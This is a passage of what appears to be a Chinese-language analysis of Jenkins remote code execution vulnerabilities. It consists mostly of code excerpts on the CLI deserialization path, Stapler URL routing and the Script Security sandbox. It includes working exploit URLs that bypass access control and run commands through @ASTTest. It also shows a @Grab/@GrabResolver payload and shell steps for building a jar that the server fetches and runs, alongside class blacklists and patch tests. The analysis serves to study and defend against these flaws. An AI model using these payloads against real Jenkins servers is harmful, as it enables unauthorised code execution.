Jenkins RCE漏洞分析汇总

在catalina.sh添加，或者catalina.bat内容不动用如下命令开启，默认是开启8000端口
用如下命令开启

catalina.bat jpda start（Windows）
catalina.sh jpda start（linux）

response = requests.get(jenkins_web_url, headers=i_headers)
cli_port = int(response.headers['X-Jenkins-CLI-Port'])
print('[+] Found CLI listener port: "%s"' % cli_port)

sock_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = urlparse.urlparse(jenkins_web_url).netloc
try:
host, port = host.split(':')
except:
host = host
cli_listener = (socket.gethostbyname(host), cli_port)
print('[+] Connecting CLI listener %s:%s' % cli_listener)
sock_fd.connect(cli_listener)

public void handle(Socket socket) throws IOException, InterruptedException {
(new CliProtocol.Handler(this.nio.getHub(), socket)).run();
}

public Channel build(InputStream is, OutputStream os) throws IOException {
return new Channel(this, this.negotiate(is, os));
}

private static final String[] DEFAULT_PATTERNS = new String[]{
"^bsh[.].*", 
"^com[.]google[.]inject[.].*", 
"^com[.]mchange[.]v2[.]c3p0[.].*", 
"^com[.]sun[.]jndi[.].*", 
"^com[.]sun[.]corba[.].*", 
"^com[.]sun[.]javafx[.].*", 
"^com[.]sun[.]org[.]apache[.]regex[.]internal[.].*", 
"^java[.]awt[.].*", 
"^java[.]rmi[.].*", 
"^javax[.]management[.].*", 
"^javax[.]naming[.].*", 
"^javax[.]script[.].*", 
"^javax[.]swing[.].*", 
"^org[.]apache[.]commons[.]beanutils[.].*", "^org[.]apache[.]commons[.]collections[.]functors[.].*", 
"^org[.]apache[.]myfaces[.].*", 
"^org[.]apache[.]wicket[.].*", 
".*org[.]apache[.]xalan.*", 
"^org[.]codehaus[.]groovy[.]runtime[.].*",
"^org[.]hibernate[.].*", 
"^org[.]python[.].*", 
"^org[.]springframework[.](?!(//p{Alnum}+[.])*//p{Alnum}*Exception$).*", 
"^sun[.]rmi[.].*",
"^javax[.]imageio[.].*", 
"^java[.]util[.]ServiceLoader$", 
"^java[.]net[.]URLClassLoader$"};

Channel(ChannelBuilder settings, InputStream is, OutputStream os) throws IOException {
this(settings, settings.negotiate(is, os));
}

public void setup(Channel channel, CommandReceiver receiver) {
this.channel = channel;
(new SynchronousCommandTransport.ReaderThread(receiver)).start();
}

public final Command read() throws IOException, ClassNotFoundException {
try {
Command cmd = Command.readFrom(this.channel, this.ois);
if (this.rawIn != null) {
this.rawIn.clear();
}

return cmd;
} catch (RuntimeException var2) {
throw this.diagnoseStreamCorruption(var2);
} catch (StreamCorruptedException var3) {
throw this.diagnoseStreamCorruption(var3);
}
}

<servlet>
<servlet-name>Stapler</servlet-name>
<servlet-class>org.kohsuke.stapler.Stapler</servlet-class>
<init-param>
<param-name>default-encodings</param-name>
<param-value>text/html=UTF-8</param-value>
</init-param>
<init-param>
<param-name>diagnosticThreadName</param-name>
<param-value>false</param-value>
</init-param>
<async-supported>true</async-supported>
</servlet>

protected @Override void service(HttpServletRequest req, HttpServletResponse rsp) throws ServletException, IOException {
Thread t = Thread.currentThread();
final String oldName = t.getName();
...
if (servletPath.startsWith(BoundObjectTable.PREFIX)) {
// serving exported objects
invoke( req, rsp, webApp.boundObjectTable, servletPath.substring(BoundObjectTable.PREFIX.length()));
return;
}
...
Object root = webApp.getApp();
if(root==null)
throw new ServletException("there's no /"app/" attribute in the application context.");

// consider reusing this ArrayList.
invoke( req, rsp, root, servletPath);
} finally {
t.setName(oldName);
}
}

public static final String PREFIX = "/$stapler/bound/";

boolean tryInvoke(RequestImpl req, ResponseImpl rsp, Object node ) throws IOException, ServletException {
if(traceable())
traceEval(req,rsp,node);

if(node instanceof StaplerProxy) {
...
}
if (node instanceof StaplerOverridable) {
...
}
if(node instanceof StaplerFallback) {
...
}

public MetaClass getMetaClass(Object o) {
return getMetaClass(getKlass(o));
}

public Klass<?> getKlass(Object o) {
...
return Klass.java(o.getClass());
}

/*package*/ MetaClass(WebApp webApp, Klass<?> klass) {
this.clazz = klass.toJavaClass();
this.klass = klass;
this.webApp = webApp;
this.baseClass = webApp.getMetaClass(klass.getSuperClass());
this.classLoader = MetaClassLoader.get(clazz.getClassLoader());
buildDispatchers();
}

<obj>.do<token>(...) and other WebMethods：do(...)或者@WebMethods标注
<obj>.doIndex(...)：doIndex(...)
<obj>js<token>:js(...)
method with @JavaScriptMethod:@JavaScriptMethod标注
NODE.TOKEN
NODE.getTOKEN():get()
NODE.getTOKEN(StaplerRequest)：get(StaplerRequest)
<obj>.get<Token>(String):get(String)
<obj>.get<Token>(int):get(int)
<obj>.get<Token>(long):get(long)
<obj>.getDynamic(<token>,...):ggetDynamic(...)
<obj>.doDynamic(...):doDynamic(...)

try {
for( Dispatcher d : metaClass.dispatchers ) {
if(d.dispatch(req,rsp,node)) {

public Stapler getStapler() {
return stapler;
}

ALWAYS_READABLE_PATHS = ImmutableSet.of("/login", "/logout", "/accessDenied", "/adjuncts/", "/error", "/oops", new String[]{"/signup", "/tcpSlaveAgentListener", "/federatedLoginService/", "/securityRealm", "/instance-identity"});

http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content

jenkins.model.Jenkins.getAdjuncts("whatever") 
.getClass()
.getClassLoader()
.getResource("index.jsp")
.getContent()

public Descriptor getDescriptorByName(String className) {
return Jenkins.getInstance().getDescriptorByName(className);
}

public Descriptor getDescriptorByName(String id) {
return this.getDescriptor(id);
}

http://localhost:8080/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a
%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec(%22open+%2fApplications%2fCalculator.app%22)%7d)%0a
class+Person%7b%7d

http://localhost:8080/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='Exp', root='http://127.0.0.1:9999/')%0a
@Grab(group='demo_server.exp', module='poc', version='2')%0a
import Exp;

javac Exp.java
mkdir -p META-INF/services/
echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf poc-2.jar Exp.class META-INF
mkdir -p ./demo_server/exp/poc/2/
mv poc-2.jar demo_server/exp/poc/2/

private static final List<Class<? extends Annotation>> BLOCKED_TRANSFORMS = ImmutableList.of(ASTTest.class, Grab.class);

@Grapes([@Grab(group='foo', module='bar', version='1.0')])/ndef foo/n
@GrabConfig(autoDownload=false)/ndef foo/n
@GrabExclude(group='org.mortbay.jetty', module='jetty-util')/ndef foo/n

@GrabResolver(name='restlet.org', root='http://maven.restlet.org')/ndef foo/n

"import groovy.transform.ASTTest as lolwut/n" +
"import jenkins.model.Jenkins/n" +
"import hudson.model.FreeStyleProject/n" +
"@lolwut(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, /"should-not-exist/") })/n" +
"int x/n" +
"echo 'hello'/n", false

"import groovy.transform.*/n" +
"import jenkins.model.Jenkins/n" +
"import hudson.model.FreeStyleProject/n" +
"@groovy.transform.ASTTest(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, /"should-not-exist/") })/n" +
"@Field int x/n" +
"echo 'hello'/n", false

import groovy.transform.*/n" +
"import jenkins.model.Jenkins/n" +
"import hudson.model.FreeStyleProject/n" +
"@AnnotationCollector([ASTTest]) @interface Lol {}/n" +
"@Lol(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, /"should-not-exist/") })/n" +
"@Field int x/n" +
"echo 'hello'/n", false

BLOCKED_TRANSFORMS = 
ImmutableList.of(ASTTest.class.getCanonicalName(),
Grab.class.getCanonicalName(),
GrabConfig.class.getCanonicalName(), 
GrabExclude.class.getCanonicalName(), 
GrabResolver.class.getCanonicalName(),
Grapes.class.getCanonicalName(), 
AnnotationCollector.class.getCanonicalName());

assertRejected(new StaticWhitelist("staticMethod java.util.Locale getDefault"), "method java.util.Locale getCountry", "interface I {String getCountry()}; (Locale.getDefault() as I).getCountry()");
assertRejected(new StaticWhitelist("staticMethod java.util.Locale getDefault"), "method java.util.Locale getCountry", "interface I {String getCountry()}; (Locale.getDefault() as I).country");
assertRejected(new ProxyWhitelist(), "staticMethod java.util.Locale getAvailableLocales", "interface I {Locale[] getAvailableLocales()}; (Locale as I).getAvailableLocales()");
assertRejected(new ProxyWhitelist(), "staticMethod java.util.Locale getAvailableLocales", "interface I {Locale[] getAvailableLocales()}; (Locale as I).availableLocales");
assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "(double) Math.max(2, 3)");
assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "Math.max(2, 3) as double");
assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "double x = Math.max(2, 3); x");
assertRejected(new GenericWhitelist(), "staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter asType java.lang.Object java.lang.Class",
"def f = org.codehaus.groovy.runtime.ScriptBytecodeAdapter.asType(['/tmp'], File); echo(/$f/)");
assertRejected(new GenericWhitelist(), "staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter castToType java.lang.Object java.lang.Class",
"def f = org.codehaus.groovy.runtime.ScriptBytecodeAdapter.castToType(['/tmp'], File); echo(/$f/)");
assertRejected(new GenericWhitelist(), "new java.io.File java.lang.String",
"def f = org.kohsuke.groovy.sandbox.impl.Checker.checkedCast(File, ['/tmp'], true, false, false); echo(/$f/)");